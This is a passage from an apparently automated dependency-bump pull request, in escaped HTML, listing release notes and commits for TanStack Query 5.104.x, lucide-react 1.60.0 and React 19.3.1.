href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11722\"\u003e#11722\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/0992a9291469d02d677f10a4994b1af0fdb8ac74\"\u003e\u003ccode\u003e0992a92\u003c/code\u003e\u003c/a\u003e - fix(react-query-devtools): create the devtools instance only once instead of on every render\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11328\"\u003e#11328\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e - Allow queries with falsy errors to retry on mount when \u003ccode\u003ethrowOnError\u003c/code\u003e returns false.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e fix(react, preact): recompute mutation state snapshots (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12117\"\u003e#12117\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e fix(query-core): clear mutations before notifying subscribers (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11470\"\u003e#11470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e fix(react-query): retry queries with falsy errors on mount (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11328\"\u003e#11328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11\"\u003e#11\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e fix(query-core): preserve union narrowing in setQueryData updaters (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11935\"\u003e#11935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.104.5/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.57.0 to 1.60.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.60.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003etombstone\u003c/code\u003e icon by \u003ca href=\"https://github.com/ryck\"\u003e\u003ccode\u003e@​ryck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4929\"\u003elucide-icons/lucide#4929\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003esmartphone-user-round\u003c/code\u003e icon by \u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebacon\u003c/code\u003e icon by \u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix build by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5033\"\u003elucide-icons/lucide#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Update icon count comparison with Feather Icons by \u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eletter-spacing\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the vue-deps group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5027\"\u003elucide-icons/lucide#5027\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump react-native from 0.87.1 to 0.88.0 in the react-native-deps group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5030\"\u003elucide-icons/lucide#5030\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eline-height\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3039\"\u003elucide-icons/lucide#3039\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the svelte-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5028\"\u003elucide-icons/lucide#5028\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the react-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5026\"\u003elucide-icons/lucide#5026\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebrain-off\u003c/code\u003e icon by \u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003egraph-hub\u003c/code\u003e icon by \u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(svelte): export __iconData and __iconNode across per-icon modules (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4936\"\u003e#4936\u003c/a\u003e) by \u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.59.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): Adds search field to docs pages by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5012\"\u003elucide-icons/lucide#5012\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003echess-queen\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4613\"\u003elucide-icons/lucide#4613\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.58.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): add third-party package lucide-jte by \u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(integration-tests): Add Svelte integration tests for \u003ccode\u003e@ucide/svelte\u003c/code\u003e by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5005\"\u003elucide-icons/lucide#5005\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the angular-deps group across 1 directory with 10 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5004\"\u003elucide-icons/lucide#5004\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix homepage animation by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5015\"\u003elucide-icons/lucide#5015\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): auto-generate PR titles from added file paths by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4790\"\u003elucide-icons/lucide#4790\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ebarrel\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4639\"\u003elucide-icons/lucide#4639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(dev): fix \u0026quot;Generate PR Title\u0026quot; job by using REST API for changed files by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5017\"\u003elucide-icons/lucide#5017\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecertificate\u003c/code\u003e icon by \u003ca href=\"https://github.com/rrod497\"\u003e\u003ccode\u003e@​rrod497\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4327\"\u003elucide-icons/lucide#4327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): update music icons by \u003ca href=\"https://github.com/jamiemlaw\"\u003e\u003ccode\u003e@​jamiemlaw\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4072\"\u003elucide-icons/lucide#4072\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/fa238cf2787d64393b74121631b518cee0c909c2\"\u003e\u003ccode\u003efa238cf\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 2 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/5026\"\u003e#5026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.60.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca 